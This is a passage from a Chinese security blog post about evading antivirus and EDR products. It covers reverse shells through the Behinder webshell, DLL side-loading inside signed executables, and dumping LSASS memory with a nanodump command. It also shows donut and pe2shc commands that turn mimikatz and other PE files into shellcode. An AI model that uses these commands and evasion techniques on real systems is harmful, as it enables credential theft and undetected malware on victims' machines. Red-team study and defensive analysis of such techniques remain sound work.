可以看到执行一般的命令还好,但是敏感命令直接就寄了“Cannot run program "cmd.exe": CreateProcess error=5, 拒绝访问。”意味着我们无法拉起这个进程:
虚拟终端,常常用于被删除cmd环境的情况,它也没办法绕过进程链的检测:
不过冰蝎有强大的反弹shell功能,可以一键打入各种C2的shellcode,上线各种后门,如果自己二改定义,这几乎绕过了所有杀软:
你也许会好奇它的反弹shell是怎么实现绕过的,实际上就是利用强大灵活的java的jni实现载入c编写的dll上线,由于java本身是白签名程序,加上本身打入的方式只会java内部新启动一个线程,这种强大的灵活的规避性质足以绕过所有杀软和EDR,这部分就留到后门再填坑了,不得不再次感慨一下rebeyond大神出神入化的境界。
DLL侧加载
DLL侧加载其实就是白+黑,对于更为严厉的杀软可以使用DLL侧加载,根据“EDR Evasion Primer For Red Teamers”研究,即使是现在,绝大多数的EDR依然难以查杀此类躲藏在合法签名内执行的恶意程序,而且这招即使是APT组织也会使用,足够见其生命力之强,可以参考我之前写的文章增强这类实现部分,我也找两个个微软Windows defender的签名的EXE上传到Github上帮助大家练习:
dump Lsass内存
dump lsass经过多年发展和对抗,已经派生出十几种攻击方法,深入理解牵扯出很多高级机制,非常难,好在我们也有武器化后的工具可以直接拿来用;今年早些使用还可以用SSP加载的方法绕过所有EDR,但是现在被SOC Team的同事上报废了(搞的我文章得重新写,恼),现在就拿火绒演示一下了(笑);
原始的mimikatz在火绒杀毒的情况下都dump不下来了,不过对付火绒只需要:
nanodump --fork --write C:lsass.dmp
卡巴斯基的lssas保护非常变态,请看今年的dump内存的测试结果,15种不同的高级dump技术都无法绕过它的保护,对于企业级的对抗得上驱动强度了,后面有机会再分享吧:
通用工具的免杀方法
我们还想让注入技术发挥更强怎么办?有个魔法般的工具能吧所有PE文件转换为shellcode,只要注入技术ok,几乎立刻复活所有工具(0.0),只需要一行命令
pe2shc.exe <path to your PE> [output path*]
当然还有其他转换shellcode的工具donet,这个工具参数有点眼花缭乱,我这里给一条我最常用的:
donut.exe -i mimikatz.exe -o log.txt
如果要想要shellcode小一些可以启用压缩算法,-z 1是默认的,目前可用的就1234,5还是有bug:
需要注意,转换工具处理过的shellcode有查杀特征,我记得先知社区有师傅魔改过特征,非常适合持久运行的工具使用,之前记得有的,但是找了一下没找到,有师傅知道可以评论区留言;现在我们有很多方法可以获得任意EXE文件的shellcode,请别再烦恼静态免杀,专注动态对抗吧。
模拟真实环境测试
火绒6.0加入了内存查杀,我们也看看效果,演示视频地址:
卡巴斯基的演示截图,演示视频地址:
总结
本篇文章从Cobalt Strike的免杀切入,深入探讨了流量、内存、行为、沙箱等多种查杀角度的规避技术,虽然目前这些技术能规避绝大多数杀软,但是在顶尖对抗场景来说依然乏力。
参考资料和工具:
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htmhttps://github.com/threatexpress/malleable-c2https://www.youtube.com/watch?v=z8GIjk0rfbI&ab_channel=BsidesCymruhttps://www.youtube.com/watch?v=-QRr_8pvOiY&ab_channel=DEFCONConferencehttps://github.com/fortra/nanodump/https://en.wikipedia.org/wiki/Kernel_Patch_Protectionhttps://github.com/EgeBalci/sgnhttps://github.com/hasherezade/pe_to_shellcodehttps://anti-debug.checkpoint.com/https://github.com/KomiMoe/Arkarihttps://github.com/TheWover/donuthttps://www.youtube.com/watch?v=CKfjLnEMfvIhttps://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/https://www.henry-blog.life/henry-blog/shellcode-jia-zai-qi/mo-kuai-cai-tahttps://0xdarkvortex.dev/hiding-in-plainsight/
原文始发于微信公众号(网安探索员):动态逃逸杀软
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论